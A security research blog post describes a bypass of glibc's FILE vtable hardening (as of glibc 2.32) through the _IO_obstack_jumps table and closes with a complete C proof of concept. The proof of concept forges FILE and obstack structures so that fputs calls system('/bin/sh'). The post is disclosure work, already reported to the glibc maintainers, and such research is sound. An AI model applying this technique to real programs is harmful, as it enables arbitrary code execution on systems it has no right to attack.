fimad.dev
This post describes a technique for bypassing existing hardening of FILE
vtable values in order to gain arbitrary code execution. This technique is known
to work as of glibc 2.32.
I reported this bypass to the glibc maintainers on December 28, 2020.
C’s FILE
structures are complicated objects with a long history attackers of
abusing them to gain execution control.
For the purposes of this post, we will focus on the polymorphism of FILE
structures which is implemented by embedding a vtable pointer in the structure.
|
|
|
|
This allows glibc to have multiple backing implementations of FILE
that all
work with the same public APIs.
In early versions of glibc, an attacker could overwrite the vtable
field of a
_IO_FILE_plus
to point to a fake jump table, at which point invoking any file
operation on the FILE
would pass execution to an attacker controlled function
pointer. This technique is described by Kees Cook in Abusing the FILE
structure
and was patched in glibc
2.24.
The hardening to mitigate vtable abuse attacks introduced a check before
dereferencing a vtable pointer that ensured that the referenced vtable resided
in the region of libc’s memory that contains the official FILE
vtables.
|
|
This prevents an attacker from crafting and using their own vtable objects.
However, as noted by Dhaval Kapil in FILE Structure
Exploitation, glibc
includes a variety of different FILE
implementations with their own vtables:
_IO_helper_jumps
_IO_helper_jumps
_IO_str_chk_jumps
_IO_mem_jumps
_IO_strn_jumps
_IO_cookie_jumps
_IO_old_cookie_jumps
_IO_wstrn_jumps
_IO_old_proc_jumps
_IO_file_jumps
_IO_file_jumps_mmap
_IO_file_jumps_maybe_mmap
_IO_proc_jumps
_IO_str_jumps
_IO_old_file_jumps
_IO_obstack_jumps
_IO_wmem_jumps
_IO_wstr_jumps
_IO_wfile_jumps
_IO_wfile_jumps_mmap
_IO_wfile_jumps_maybe_mmap
If a function referenced by one of these official vtables passes execution to an unvalidated function pointer an attacker could obtain execution control by providing a vtable value that causes the vulnerable function to execute.
Dhaval Kapil identified one such function, _IO_str_overflow
, in the
_IO_str_jumps
jump table. This function reads a pointer out of the FILE
structure and executes it when more memory is needed for an internal buffer.
This technique was patched in glibc
2.28 by changing
_IO_str_overflow
to use malloc
and free
instead of function pointers
embedded in the FILE
structure.
Like the _IO_str_jumps
vtable before glibc 2.28, the _IO_obstack_jumps
contains references to functions that dereference unvalidated pointers.
Understanding how to trigger this behavior requires a basic understanding of the
obstack
APIs.
An obstack
is an interface for allocating a stack of objects of arbitrary
size. The interface provides a layer of abstraction above heap allocation APIs
like malloc
and will allocate chunks from an allocator as needed with
individual objects allocated by the obstack
potentially sharing the same
underlying buffer.
In glibc, an obstack
is initialized by defining the macros
obstack_chunk_alloc
and obstack_chunk_free
to specify the underlying
allocator and then calling obstack_init
.
|
|
This will initialize a structure and store the caller specified allocation and
freeing function in the chunkfun
and freefun
fields of the obstack
structure.
|
|
The obstack_grow
macro is used when the user wishes to allocate and copy data
into a new obstack allocation. If there is sufficient space in the most recent
chunk it will be used otherwise a new chunk will be allocated.
|
|
Allocation of a new chunk is handled by _obstack_chunk
which calls the
CALL_CHUNKFUN
macro which finally invokes the custom allocator.
|
|
|
|
Note that the CALL_CHUNKFUN
macro checks the use_extra_arg
field of the
obstack
and, if true, passes the extra_arg
field as the first parameter to
the custom allocator.
Glibc provides a FILE
implementation that writes data into an obstack,
_IO_obstack_file
.
|
|
|
|
The jump table is very minimal but does contain two interesting functions, both
of which attempt to grow the associated obstack
.
Either can be used for exploitation, for the purposes of demonstration let’s
focus on _IO_obstack_xsputn
.
|
|
If writing n
bytes to the _IO_write_ptr
will overflow beyond
_IO_write_end
, then _IO_obstack_xsputn
will invoke obstack_grow
which in
turn may invoke the chunkfun
allocator.
Putting this all together, to achieve execution control with a fake or modified
FILE
structure the following conditions must be met:
FILE
must point into the _IO_obstack_jumps
region such
that _IO_obstack_xsputn
is the next vtable method invoked on the FILE
.FILE
will be interpreted as an
obstack
pointer and must point to attacker controlled memory.fp->_IO_write_ptr + n > fp->_IO_write_end
must evaluate to
true where fp
is the fake FILE
and n
is an argument to _IO_obstack_xsputn
obstack->next_free + n > obstack->chunk_limit
must
evaluate to true where obstack
is the attacker controlled obstack
object
and n
is the length passed to _IO_obstack_xsputn
.// An example of spawning a shell via a forged FILE by way of the
// _IO_obstack_jumps vtable.
//
// Run with:
// $ gcc -o example example.c && ./example
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv) {
// Place a shell command in a known region of memory.
char *shell_command = (char *) malloc(0x10);
strcpy(shell_command, "/bin/sh");
// Construct a fake obstack struct where the chunkfun allocator function
// points to system and the extra_arg field points to the location of the
// shell command to execute.
uintptr_t *fake_obstack = (uintptr_t *) malloc(0x100);
fake_obstack[3] = 1; /* next_free */
fake_obstack[4] = 0; /* chunk_limit */
fake_obstack[7] = (uintptr_t) &system; /* chunkfun */
fake_obstack[9] = (uintptr_t) shell_command; /* extra_arg */
fake_obstack[10] = -1; /* use_extra_arg */
// Grab a reference to the _IO_file_jumps vtable from one of the standard IO
// FILE structs.
uintptr_t _IO_file_jumps = ((uintptr_t *) stdin)[27];
// The obstack vtable is located at an offset from the file vtable. The exact
// value may depend on the specific libc build.
uintptr_t _IO_obstack_jumps = _IO_file_jumps - 0x240;
// Construct a fake FILE object with a vtable pointing to the
// _IO_obstack_jumps vtable and the obstack field pointing to the fake obstack
// above.
//
// Going through fputs requires the file lock to point to a valid region of
// memory. Locking will succeed if the value pointed to by the lock is null.
// For this example, reuse the fake FILE struct.
uintptr_t *fake_file = (uintptr_t *) malloc(0x300);
fake_file[6] = 1; /* write_ptr */
fake_file[7] = 0; /* write_end */
fake_file[17] = (uintptr_t) fake_file; /* lock */
fake_file[27] = _IO_obstack_jumps; /* vtable */
fake_file[28] = (uintptr_t) fake_obstack; /* obstack */
// Trigger a function that will invoke the sputn vtable method which will in
// turn spawn a shell.
fputs("hello world", (FILE *) fake_file);
}